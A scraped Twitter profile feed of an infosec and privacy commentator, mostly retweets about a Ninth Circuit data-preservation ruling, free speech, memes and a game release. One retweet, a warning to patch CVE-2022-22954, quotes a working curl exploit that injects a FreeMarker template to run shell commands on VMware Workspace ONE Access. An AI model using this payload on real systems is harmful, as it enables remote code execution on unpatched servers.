Curious Reptile  

@livebeef

InfoSec. Privacy. Memes. Weeb stuff. Open Access. Occasionally Copyright. I'm also Jewish.

Joined March 2014
546 Photos and videos Photos and videos

Tweets

You blocked @livebeef

Are you sure you want to view these Tweets? Viewing Tweets won't unblock @livebeef

  1. Pinned Tweet
    19 Aug 2019

    I will never understand people who think the appropriate response to an insensitive comment is to wage a campaign of personal and professional ruination. To borrow an old quip - it's akin to fighting dandruff with decapitation.

    2 replies 6 retweets 47 likes
    Show this thread
    Show this thread
    Undo
  2. 9 hours ago

    Undo
  3. Retweeted
    10 hours ago

    朝ご飯貰ったひと（ピンぼけ）

    3 retweets 36 likes
    Undo
  4. Retweeted
    11 hours ago

    1 reply 48 retweets 343 likes
    Undo
  5. Retweeted
    Apr 25

    This exchange continues to haunt me

    9,508 replies 128,231 retweets 1,289,014 likes
    Undo
  6. 19 hours ago

    If you're going - buy your tickets now! This year they're not bundled with hotel rooms.

    Thank you for your patience! We are thrilled to announce that the website has been updated with all the information you need for 2022! We’re sure you have tons of questions; get your answers at
    1 like
    Undo
  7. Retweeted
    22 hours ago

    Thank you for your patience! We are thrilled to announce that the website has been updated with all the information you need for 2022! We’re sure you have tons of questions; get your answers at

    7 replies 79 retweets 119 likes
    Undo
  8. 19 hours ago

    Shitposters getting lawmakers to assume schoolchildren are being indoctrinated as furries is an accomplishment. Now newer generations are experiencing the joy of tricking dignified, important people into seriously talking about very undignified, unimportant things.

    2:14
    "There’s something going on in our schools called 'furry.' I think it's spelled F-U-R-R-Y... I looked it up on Google.” 3 Minnesota GOP State Reps. spread false rumors of litter boxes in bathrooms, uniforms that accommodate tails and kids identifying as cats during floor debate.
    Show this thread
    1 reply 1 retweet 3 likes
    Undo
  9. Retweeted
    Apr 28

    13 replies 348 retweets 2,777 likes
    Undo
  10. Retweeted
    22 hours ago

    5 replies 70 retweets 586 likes
    Undo
  11. Retweeted
    Apr 27

    You probably want to patch CVE-2022-22954 in VMware Workspace.

    Exploit for VMware Workspace ONE Access CVE-2022-22954: curl -kv https://192.168.0.240/catalog-portal/ui/oauth/verify -H "Host: lol" -Gd error= --data-urlencode 'deviceUdid=${"freemarker.template.utility.Execute"?new()("bash -c {eval,$({echo,aWQ7dW5hbWUgLWE=}|{base64,-d})}")}'
    Show this thread
    2 replies 26 retweets 89 likes
    Show this thread
    Show this thread
    Undo
  12. Apr 27

    Hard as it may be for some to believe, it's true.

    So, one thing that hasn't received much attention and should: For all the talk about "free speech," 's legal team is actually one of the MOST aggressive in actually fighting in court to protect the free speech rights of its users, including their right to anonymity.
    Show this thread
    1 retweet 2 likes
    Undo
  13. Retweeted
    Apr 27

    4 replies 71 retweets 585 likes
    Undo
  14. Apr 27

    Ooh. Stanley Parable Ultra Deluxe is finally out.

    1 retweet
    Undo
  15. Retweeted
    Apr 27

    4 replies 50 retweets 451 likes
    Undo
  16. Retweeted
    Apr 27

    Quick legal take on this: Fucking Yikes.

    Holy crap: Although it was barely mentioned in the briefing, the CA9 just held in a single sentence, in a precedential opinion, that Internet content preservation isn't a seizure. And TOS eliminate all Internet privacy. Here's the entire discussion. Lordy.
    Show this thread
    2 replies 3 retweets 12 likes
    Undo
  17. Apr 27

    I don't have confidence that the U.S. national security and law enforcement apparatuses won't demand exactly this. This is an extremely disturbing legal precedent casually decided by a federal court covering the most sensitive personal info for most U.S. citizens

    But seriously, they could absolutely make a serious case that they could, in principle, order the indefinite preservation for all data of all customers of all tech/ISP firms HQ'd in CA without a warrant without implicating 4A under this logic. They shouldn't. But they could
    Show this thread
    Undo
  18. Apr 27

    The district court covering California (where Google et al are HQ'd) that your info isn't considered seized by Feds when they demand a copy of your data. I fully expect feds will do everything that the law (shockingly) permits them to do with regards to U.S. persons information.

    Holy crap: Although it was barely mentioned in the briefing, the CA9 just held in a single sentence, in a precedential opinion, that Internet content preservation isn't a seizure. And TOS eliminate all Internet privacy. Here's the entire discussion. Lordy.
    Show this thread
    1 retweet 1 like
    Undo
  19. Retweeted
    Apr 27

    This is basically the nightmare: There's a major issue, but it's raised in passing by counsel that has no idea what it has; and then federal court of appeals has no idea what it has; and in passing the court decides a major issue, perhaps having no idea of its importance.

    10 replies 132 retweets 757 likes
    Show this thread
    Show this thread
    Undo
  20. Retweeted
    Apr 27

    Literally, that's it. No analysis. No citing anything. No discussion. And just a single sentence. So now, under 9th Circuit law, the government is free to order everyone's entire Internet account copied and held for it--with no cause at all. At any time, for no reason.

    29 replies 443 retweets 1,123 likes
    Show this thread
    Show this thread
    Undo
  21. Retweeted
    Apr 27

    Holy crap: Although it was barely mentioned in the briefing, the CA9 just held in a single sentence, in a precedential opinion, that Internet content preservation isn't a seizure. And TOS eliminate all Internet privacy. Here's the entire discussion. Lordy.

    91 replies 867 retweets 1,606 likes
    Show this thread
    Show this thread
    Undo

@livebeef hasn't Tweeted yet.

Loading seems to be taking a while.

Twitter may be over capacity or experiencing a momentary hiccup. Try again or visit Twitter Status for more information.

    You may also like

    ·